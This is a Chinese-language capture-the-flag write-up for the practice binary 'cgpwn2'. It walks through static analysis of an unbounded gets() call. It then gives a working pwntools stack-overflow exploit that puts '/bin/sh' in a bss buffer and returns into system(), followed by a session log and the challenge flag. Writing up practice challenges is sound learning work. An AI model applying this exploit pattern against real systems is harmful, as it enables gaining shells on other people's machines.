pwn-cgpwn2

pwn-cgpwn2

这次呢,练习的是 cgpwn2 ,同样使用checksec检查下,然后用IDA查看下调用地址

image.png

可以看到目标是32位的,且使用RELRO和NX

image.png

nc一下,发现回显这样两个句话,

C
please tell me your name

hello,you can leave some message here:

然后使用IDA分析下目标程序

image.png

这里定义了三个流缓冲区,然后打印字符串 thank you 后退出程序

查看下main函数的伪代码发现hello()函数

image.png

接着查看hello函数

image.png

查看下hello函数的汇编代码

image.png

首先要求输入一个name,这个输入是通过fgets函数完成的,从键盘读取最多32h个字符到name区域然后提示我们输入一些信息,这个输入是通过gets函数完成的,没有输入字符数量的限制,从键盘读取字符到s区域

查看下name所在位置 =》 0x804a080

image.png

image.png

image.png

name是bss段的一个大小为34的区域,s区域的起始位置是运行时距离栈帧0x26个字节的地方,大小不限

接着查看下pwn函数image.png

可以看到这个函数是利用系统调用打印"hehehe",存在一个call system

然后使用gdb下断点,得到system的地址

image.png

构造payload

Python
#导入pwn模块
from pwn import *
#连接目标程序
p = remote('124.126.19.106',45522)

#
system_addr = 0x8048420
#通过name得到的地址
bss_addr = 0x804A080

#目标程序返回的字符串,等待输入name
p.recvuntil('please tell me your name\n')
#构造一个命令参数(cat flag也可以的)
payload = '/bin/sh'
#发送我们的命令
p.sendline(payload)

#目标接收到命令,继续返回字符串
p.recvuntil('leave some message here:\n')
#构造溢出参数  name的地址     system地址               name地址
payload = 'a'*(0x26+4) + p32(system_addr) + 'b'*4 +p32(bss_addr)
#发送命令
p.sendline(payload)

#建立及时会话
p.interactive()

手动执行

Python
>>> from pwn import *
>>> p = remote('124.126.19.106',45522)
[x] Opening connection to 124.126.19.106 on port 45522
[x] Opening connection to 124.126.19.106 on port 45522: Trying 124.126.19.106
[+] Opening connection to 124.126.19.106 on port 45522: Done
>>> p.recvuntil('please tell me your name\n')
'please tell me your name\n'
>>> p.sendline('/bin/sh')
>>> p.recvuntil('hello,you can leave some message here:\n')
'hello,you can leave some message here:\n'
>>> payload = 'a'*(0x26+4) + p32(0x8048420) + 'b'*4 + p32(0x804a080)
>>> p.sendline(payload)
>>> p.interactive()

image.png

得到flag

cyberpeace{59806e8ae0b821f47e8fe14b0148bcd3}
posted @ 2020-06-08 15:16  MTcx  阅读(437)  评论(0编辑  收藏  举报